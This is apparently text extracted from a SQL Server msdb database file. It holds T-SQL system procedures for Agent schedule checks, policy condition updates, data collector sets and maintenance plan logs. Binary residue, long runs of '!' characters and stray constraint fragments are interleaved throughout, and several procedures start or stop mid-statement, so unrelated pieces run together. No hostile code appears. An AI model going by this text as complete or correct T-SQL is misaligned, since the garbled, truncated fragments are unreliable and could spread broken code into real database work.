    -- calling SP from running
    EXECUTE @retval = msdb.dbo.sp_is_sqlagent_starting
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0l
 \8-----------------------------------------------------------
-- This procedure verifies if a condition exists
-- The caller can pass either the condition name or the id
-----------------------------------------------------------
CREATE PROCEDURE [dbo].[sp_syspolicy_verify_condition_identifiers]
@condition_name sysname = NULL OUTPUT, 
@condition_id int = NULL OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

  IF ((@condition_name IS NULL)     AND (@condition_id IS NULL)) OR
     ((@condition_name IS NOT NULL) AND (@condition_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, '@condition_name', '@condition_id')
    RETURN(1) -- Failure
  END

  -- Check id
  IF (@condition_id IS NOT NULL)
  BEGIN
    SELECT @condition_name = name
    FROM msdb.dbo.syspolicy_conditions
    WHERE (condition_id = @condition_id)
    
    -- the view would take care of all the permissions issues.
    IF (@condition_name IS NULL) 
    BEGIN
      DECLARE @condition_id_as_char VARCHAR(36)
      SELECT @condition_id_as_char = CONVERT(VARCHAR(36), @condition_id)
      RAISERROR(14262, -1, -1, '@condition_id', @condition_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check name
  IF (@condition_name IS NOT NULL)
  BEGIN
    -- get the corresponding condition_id (if the condition exists)
    SELECT @condition_id = condition_id
    FROM msdb.dbo.syspolicy_conditions
    WHERE (name = @condition_name)
    
    -- the view would take care of all the permissions issues.
    IF (@condition_id IS NULL) 
    BEGIN
      RAISERROR(14262, -1, -1, '@condition_name', @condition_name)
      RETURN(1) -- Failure
    END
  END

  RETURN (0)
END
0QG q8CREATE VIEW [dbo].[sysutility_ucp_managed_instances]
AS
    SELECT     
        instance_id,
        instance_name,
        virtual_server_name,
        date_created,
        created_by,
        agent_proxy_account,
        cache_directory,
        management_state
    FROM [dbo].[sysutility_ucp_managed_instances_internal]
0' %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:`y<i	B?\H0 58CREATE PROCEDURE sp_verify_schedule_identifiers
  @name_of_name_parameter   VARCHAR(60),             -- Eg. '@schedule_name'
  @name_of_id_parameter     VARCHAR(60),             -- Eg. '@schedule_id'
  @schedule_name            sysname             OUTPUT, 
  @schedule_id              INT                 OUTPUT,
  @owner_sid                VARBINARY(85)       OUTPUT,
  @orig_server_id           INT                 OUTPUT,
  @job_id_filter            UNIQUEIDENTIFIER    = NULL
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @schedule_id_as_char VARCHAR(36)
  DECLARE @sch_name_count INT

  SET NOCOUNT ON
  
  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @schedule_name          = LTRIM(RTRIM(@schedule_name))
  SELECT @sch_name_count         = 0
  

  IF (@schedule_name = N'') SELECT @schedule_name = NULL

  IF ((@schedule_name IS NULL)     AND (@schedule_id IS NULL)) OR
     ((@schedule_name IS NOT NULL) AND (@schedule_id IS NOT NULL))
  BEGIN
    RAISERROR(14373, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check schedule id
  IF (@schedule_id IS NOT NULL)
  BEGIN
    -- if Agent is calling look in all schedules not just the local server schedules
    if(PROGRAM_NAME() LIKE N'SQLAgent%')
    BEGIN
        -- Look at all schedules
        SELECT @schedule_name   = name,
           @owner_sid           = owner_sid,
           @orig_server_id      = originating_server_id
        FROM msdb.dbo.sysschedules
        WHERE (schedule_id = @schedule_id)
    END
    ELSE
    BEGIN
        --Look at local schedules only
        SELECT @schedule_name   = name,
           @owner_sid           = owner_sid,
           @orig_server_id      = originating_server_id
        FROM msdb.dbo.sysschedules_localserver_view
        WHERE (schedule_id = @schedule_id)
    END

    IF (@schedule_name IS NULL)
    BEGIN
     --If the schedule is from an MSX and a sysadmin is calling report a specific 'MSX' message
      IF(PROGRAM_NAME() NOT LIKE N'SQLAgent%' AND
         ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1 AND
         EXISTS(SELECT * 
                FROM msdb.dbo.sysschedules as sched
                  JOIN msdb.dbo.sysoriginatingservers_view as svr
                    ON sched.originating_server_id = svr.originating_server_id
                WHERE (schedule_id = @schedule_id) AND 
                      (svr.master_server = 1)))
     BEGIN
       RAISERROR(14274, -1, -1)
     END
      ELSE  
      BEGIN
        SELECT @schedule_id_as_char = CONVERT(VARCHAR(36), @schedule_id)
        RAISERROR(14262, -1, -1, '@schedule_id', @schedule_id_as_char)
      END

      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check job name
  IF (@schedule_name IS NOT NULL)
  BEGIN
    -- if a job_id is supplied use it as a filter. This helps with V8 legacy support
    IF(@job_id_filter IS NOT NULL)
    BEGIN
        -- Check if the job name is ambiguous and also get the schedule_id optimistically.
        -- If the name is not ambiguous this gets the corresponding schedule_id (if the schedule exists)
        SELECT @sch_name_count = COUNT(*),
               @schedule_id    = MIN(s.schedule_id),
               @owner_sid      = MIN(owner_sid),
               @orig_server_id = MIN(originating_server_id)
        FROM msdb.dbo.sysschedules_localserver_view as s
          JOIN msdb.dbo.sysjobschedules as js 
            ON s.schedule_id = js.schedule_id
        WHERE (name = @schedule_name) AND
              (js.job_id = @job_id_filter)
    END
    ELSE
    BEGIN
      -- Check if the job name is ambiguous from the count(*) result
        -- If the name is not ambiguous it is safe use the fields returned by the MIN() function
        SELECT @sch_name_count = COUNT(*),
         @schedule_id     = MIN(schedule_id),
            @owner_sid       = MIN(owner_sid),
            @orig_server_id  = MIN(originating_server_id)
        FROM msdb.dbo.sysschedules_localserver_view
        WHERE (name = @schedule_name)
    END

    IF(@sch_name_count > 1)
    BEGIN
        -- ambiguous, user needs to use a schedule_id instead of a schedule_name
        RAISERROR(14371, -1, -1, @schedule_name, @name_of_id_parameter, @name_of_name_parameter)
        RETURN(1) -- Failure
    END

    --schedule_id isn't visible to this user or doesn't exist
    IF (@schedule_id IS NULL)
    BEGIN
      --If the schedule is from an MSX and a sysadmin is calling report a specific 'MSX' message
      IF(PROGRAM_NAME() NOT LIKE N'SQLAgent%' AND
         ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1 AND
         EXISTS(SELECT * 
                FROM msdb.dbo.sysschedules as sched
                  JOIN msdb.dbo.sysoriginatingservers_view as svr
                    ON sched.originating_server_id = svr.originating_server_id
                  JOIN msdb.dbo.sysjobschedules as js 
                    ON sched.schedule_id = js.schedule_id
                WHERE (svr.master_server = 1) AND
                      (name = @schedule_name) AND
                      ((@job_id_filter IS NULL) OR (js.job_id = @job_id_filter))))
     BEGIN
       RAISERROR(14274, -1, -1)
     END
      ELSE
      BEGIN
        --If not a MSX schedule raise local error
        RAISERROR(14262, -1, -1, '@schedule_name', @schedule_name)
      END

      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0Mޅ@ 8CREATE PROCEDURE sp_verify_jobproc_caller
  @job_id       UNIQUEIDENTIFIER,
  @program_name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @program_name = LTRIM(RTRIM(@program_name))

  IF (EXISTS (SELECT    *
              FROM      msdb.dbo.sysjobs_view
              WHERE     (job_id = @job_id)
              AND       (master_server = 1) )) -- master_server = 1 filters on MSX jobs in this TSX server
              AND       (PROGRAM_NAME() NOT LIKE @program_name)
  BEGIN
    RAISERROR(14274, -1, -1)
    RETURN(1) -- Failure
  END

  RETURN(0)
END
0 &8(NULL)0@ w8CREATE PROCEDURE [dbo].[sp_syspolicy_update_condition] 
@name sysname = NULL,
@condition_id int = NULL,
@facet nvarchar(max) = NULL,
@expression nvarchar(max) = NULL,
@description nvarchar(max) = NULL,
@is_name_condition smallint = NULL,
@obj_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT
	DECLARE @facet_id            INT

    EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @name, @condition_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    IF (@facet IS NOT NULL)
    BEGIN
        SET @facet_id = (SELECT management_facet_id FROM [dbo].[syspolicy_management_facets] WHERE name = @facet)
        IF (@facet_id IS NULL)
        BEGIN
            RAISERROR (34014, -1, -1)
            RETURN(1)
        END
    END

    UPDATE msdb.[dbo].[syspolicy_conditions_internal] 
    SET
        description = ISNULL(@description, description),
        facet_id = ISNULL(@facet_id, facet_id),
        expression = ISNULL(@expression, expression),
        is_name_condition = ISNULL(@is_name_condition, is_name_condition),
        obj_name = ISNULL(@obj_name, obj_name)
    WHERE condition_id = @condition_id
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+Q`y)<M:qќ0z
 E8CREATE PROCEDURE sp_downloaded_row_limiter
  @server_name sysname -- Target server name
AS
BEGIN
  -- This trigger controls how many downloaded (status = 1) sysdownloadlist rows exist
  -- for any given server.  It does NOT control the absolute number of rows in the table.

  DECLARE @current_rows_per_server INT
  DECLARE @max_rows_per_server     INT -- This value comes from the resgistry (DownloadedMaxRows)
  DECLARE @rows_to_delete          INT
  DECLARE @quoted_server_name      NVARCHAR(514) -- enough room to accomodate the quoted name
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = LTRIM(RTRIM(@server_name))

  -- Check the server name (if it's bad we fail silently)
  IF (@server_name IS NULL) OR
     (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysdownloadlist
                  WHERE (target_server = @server_name)))
    RETURN(1) -- Failure

  SELECT @max_rows_per_server = 0

  -- Get the max-rows-per-server from the registry
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'DownloadedMaxRows',
                                         @max_rows_per_server OUTPUT,
                                         N'no_output'

  -- Check if we are limiting sysdownloadlist rows
  IF (ISNULL(@max_rows_per_server, -1) = -1)
    RETURN

  -- Check that max_rows_per_server is >= 0
  IF (@max_rows_per_server < -1)
  BEGIN
    -- It isn't, so default to 100 rows
    SELECT @max_rows_per_server = 100
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'DownloadedMaxRows',
                                            N'REG_DWORD',
                                            @max_rows_per_server
  END

  -- Get the number of downloaded rows in sysdownloadlist for the target server in question
  -- NOTE: Determining this [quickly] requires a [non-clustered] index on target_server
  SELECT @current_rows_per_server = COUNT(*)
  FROM msdb.dbo.sysdownloadlist
  WHERE (target_server = @server_name)
    AND (status = 1)

  -- Delete the oldest downloaded row(s) for the target server in question if the new row has
  -- pushed us over the per-server row limit
  SELECT @rows_to_delete = @current_rows_per_server - @max_rows_per_server
  IF (@rows_to_delete > 0)
  BEGIN
    WITH RowsToDelete AS (
      SELECT TOP (@rows_to_delete) *
      FROM msdb.dbo.sysdownloadlist
      WHERE (target_server = @server_name)
        AND (status = 1)
      ORDER BY instance_id
    )
    DELETE FROM RowsToDelete;
  END
END
0&n D8hU809 +8(getdate())0@- /8(suser_sname())06 %8((0))0A
 %8((0))0z, %8((0))0
 ]8CREATE PROCEDURE [dbo].[sp_syspolicy_rename_condition] 
@name sysname = NULL,
@condition_id int = NULL,
@new_name sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    IF (@new_name IS NULL or LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END

    DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_condition_identifiers @name, @condition_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    UPDATE msdb.[dbo].[syspolicy_conditions_internal] 
    SET name = @new_name
    WHERE condition_id = @condition_id

    SELECT @retval = @@error
    RETURN(@retval)
END
0&Y I8([dbo].[fn_sysdac_get_currentusername]())052 R8([latest_health_state_id]<=[next_health_state_id])0
 %8((0))0( %8((0))RING(@temp_str, 1, @pos - 1)
    IF (@delimiter_count = 3) SELECT @instance_name = SUBSTRING(@temp_str, 1, @pos - 1)
    SELECT @temp_str = SUBSTRING(@temp_str, @pos + 1, (DATALENGTH(@temp_str) / 2) - @pos)
    SELECT @pos = CHARINDEX(N'|', @temp_str)
  END
  IF (@delimiter_count <> 4)
  BEGIN
    RAISERROR(14507, 16, 1)
    RETURN(1) -- Failure
  END

  -- Check the object_name
  IF (NOT EXISTS (SELECT object_name
                  FROM dbo.sysalerts_performance_counters_view
                  WHERE (object_name = @object_name)))
  BEGIN
    RAISERROR(14262, 16, 1, 'object_name', @object_name)
    RETURN(1) -- Failure
  END

  -- Check the counter_name
  IF (NOT EXISTS (SELECT counter_name
                  FROM dbo.sysalerts_performance_counters_view
                  WHERE (object_name = @object_name)
                    AND (counter_name = @counter_name)))
  BEGIN
    RAISERROR(14262, 16, 1, 'counter_name', @counter_name)
    RETURN(1) -- Failure
  END

  -- Check the instance_name
  IF (@instance_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT instance_name
                    FROM dbo.sysalerts_performance_counters_view
                    WHERE (object_name = @object_name)
                      AND (counter_name = @counter_name)
                      AND (instance_name = @instance_name)))
    BEGIN
      RAISERROR(14262, 16, 1, 'instance_name', @instance_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
01oV $8CREATE PROCEDURE sp_verify_job_date
  @date           INT,
  @date_name      VARCHAR(60) = 'date',
  @error_severity INT         = -1
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @date_name = LTRIM(RTRIM(@date_name))

  IF ((ISDATE(CONVERT(VARCHAR, @date)) = 0) OR (@date < 19900101) OR (@date > 99991231))
  BEGIN
    RAISERROR(14266, @error_severity, -1, @date_name, '19900101..99991231')
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0jJ *8
CREATE PROCEDURE sp_verify_job_time
  @time           INT,
  @time_name      VARCHAR(60) = 'time',
  @error_severity INT = -1
AS
BEGIN
  DECLARE @hour      INT
  DECLARE @minute    INT
  DECLARE @second    INT
  DECLARE @part_name NVARCHAR(50)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @time_name = LTRIM(RTRIM(@time_name))

  IF ((@time < 0) OR (@time > 235959))
  BEGIN
    RAISERROR(14266, @error_severity, -1, @time_name, '000000..235959')
    RETURN(1) -- Failure
  END

  SELECT @hour   = (@time / 10000)
  SELECT @minute = (@time % 10000) / 100
  SELECT @second = (@time % 100)

  -- Check hour range
  IF (@hour > 23)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14218)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  -- Check minute range
  IF (@minute > 59)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14219)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  -- Check second range
  IF (@second > 59)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14220)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0> D8Thb*02 D8sQh;09 +8(getdate())0@- /8(suser_sname())0 +8(getdate())06 %8((0))0 %8((0))0A
 %8((0))0z, %8((0))!!!!!!!!!!!!!!!!!!!!!!!nXCh`/<{Mdj0v8 &8(NULL)0{rX 8CREATE PROCEDURE [dbo].[sp_syscollector_create_collection_set]
    @name                        sysname,
    @target                        nvarchar(128) = NULL,
    @collection_mode            smallint = 0,    -- 0: cached, 1: non-cached
    @days_until_expiration      smallint = 730, -- two years
    @proxy_id                   int = NULL,     -- mutual exclusive; must specify either proxy_id or proxy_name to identify the proxy
    @proxy_name                    sysname = NULL,
    @schedule_uid               uniqueidentifier = NULL, 
    @schedule_name              sysname = NULL, -- mutual exclusive; must specify either schedule_uid or schedule_name to identify the schedule
    @logging_level                smallint = 1,
    @description                nvarchar(4000) = NULL,
    @collection_set_id            int OUTPUT,
    @collection_set_uid            uniqueidentifier = NULL OUTPUT
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_create_collection_set
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY

    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END
    REVERT;

    -- Remove any leading/trailing spaces from parameters
    SET @name                    = NULLIF(LTRIM(RTRIM(@name)), N'')
    SET @proxy_name                = NULLIF(LTRIM(RTRIM(@proxy_name)), N'')
    SET @schedule_name            = NULLIF(LTRIM(RTRIM(@schedule_name)), N'')
    SET @target                    = NULLIF(LTRIM(RTRIM(@target)), N'')
    SET @description            = LTRIM(RTRIM(@description))

    IF (@name IS NULL)
    BEGIN
        RAISERROR(21263, -1, -1, '@name')
        RETURN (1)
    END

    -- can't have both name and uid for the schedule
    IF (@schedule_uid IS NOT NULL) AND (@schedule_name IS NOT NULL)
    BEGIN
        RAISERROR(14373, -1, -1, '@schedule_uid', '@schedule_name')
        RETURN (1)
    END

    -- Execute the check for the schedule as caller to ensure only schedules owned by caller can be attached
    EXECUTE AS CALLER;

    DECLARE @schedule_id int
    IF (@schedule_uid IS NOT NULL)
    BEGIN
        SElECT @schedule_id = schedule_id FROM sysschedules_localserver_view WHERE @schedule_uid = schedule_uid
    
        IF (@schedule_id IS NULL)
        BEGIN
            DECLARE @schedule_uid_as_char VARCHAR(36)
            SELECT @schedule_uid_as_char = CONVERT(VARCHAR(36), @schedule_uid)
            REVERT;
            RAISERROR(14262, -1, -1, N'@schedule_uid', @schedule_uid_as_char)
            RETURN (1)
        END
    END
    ELSE IF (@schedule_name IS NOT NULL)
    BEGIN
        SELECT @schedule_id = schedule_id, @schedule_uid = schedule_uid FROM sysschedules_localserver_view WHERE name = @schedule_name 
    
        IF (@schedule_id IS NULL)
        BEGIN
            REVERT;
            RAISERROR(14262, -1, -1, N'@schedule_name', @schedule_name)
            RETURN (1)
        END
    END

    REVERT;

    -- if collection_mode is cached, make sure schedule_id is not null
    IF    (@collection_mode = 0 AND @schedule_id IS NULL)
    BEGIN
        RAISERROR(14683, -1, -1)    
        RETURN (1)
    END    

    IF (@proxy_id IS NOT NULL) OR (@proxy_name IS NOT NULL) 
    BEGIN
        -- check if the proxy exists
        EXEC sp_verify_proxy_identifiers '@proxy_name',
                                         '@proxy_id',
                                         @proxy_name OUTPUT,
                                         @proxy_id   OUTPUT

        -- check if proxy_id is granted to dc_admin
        IF (@proxy_id NOT IN (SELECT proxy_id 
                              FROM sysproxylogin 
                              WHERE sid = USER_SID(USER_ID('dc_admin'))
                              )
            )
        BEGIN
            RAISERROR(14719, -1, -1, N'dc_admin')
            RETURN (1)
        END
    END

    IF (@collection_mode < 0 OR @collection_mode > 1)
    BEGIN
        RAISERROR(14266, -1, -1, '@collection_mode', '0, 1')
        RETURN (1)
    END

    IF (@logging_level < 0 OR @logging_level > 2)
    BEGIN
        RAISERROR(14266, -1, -1, '@logging_level', '0, 1, or 2')
        RETURN (1)
    END

    IF (@collection_set_uid IS NULL)
    BEGIN
        SET @collection_set_uid = NEWID()
    END

    IF (@days_until_expiration < 0)
    BEGIN
        RAISERROR(14266, -1, -1, '@days_until_expiration', '>= 0')
        RETURN (1)
    END

    INSERT INTO [dbo].[syscollector_collection_sets_internal]
    (
        collection_set_uid,
        schedule_uid,
        name,
        target,
        is_running,
        proxy_id,
        is_system,
        upload_job_id,
        collection_job_id,
        collection_mode,
        logging_level,
        days_until_expiration,
        description
    )
    VALUES
    (
        @collection_set_uid,
        @schedule_uid,
        @name,
        @target,
        0,
        @proxy_id,
        0,
        NULL,
        NULL,
        @collection_mode,
        @logging_level,
        @days_until_expiration,
        @description
    )

    SET @collection_set_id = SCOPE_IDENTITY()

    IF (@collection_set_id IS NULL)
    BEGIN
        DECLARE @collection_set_id_as_char VARCHAR(36)
        SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)
        RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
        RETURN (1)
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_create_collection_set

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END
ans.subplan_name, subplans.subplan_id
    from sysmaintplan_plans plans, sysmaintplan_subplans subplans
    where  plans.id = subplans.plan_id
    and (job_id = @job_id
         or msx_job_id = @job_id)
    order by subplans.plan_id, subplans.subplan_id
END
0u 8CREATE PROCEDURE sp_maintplan_open_logentry
    @plan_id       UNIQUEIDENTIFIER,
    @subplan_id       UNIQUEIDENTIFIER,   
    @start_time       DATETIME            = NULL,
    @task_detail_id  UNIQUEIDENTIFIER    = NULL OUTPUT
AS
BEGIN

   --Set defaults
   IF (@start_time IS NULL)
   BEGIN
      SELECT @start_time = GETDATE()
   END

   SELECT @task_detail_id = NEWID()

   --Insert a new record into sysmaintplan_log table
   INSERT INTO msdb.dbo.sysmaintplan_log(task_detail_id, plan_id, subplan_id, start_time)
    VALUES(@task_detail_id, @plan_id, @subplan_id, @start_time)

   RETURN (@@ERROR)
END
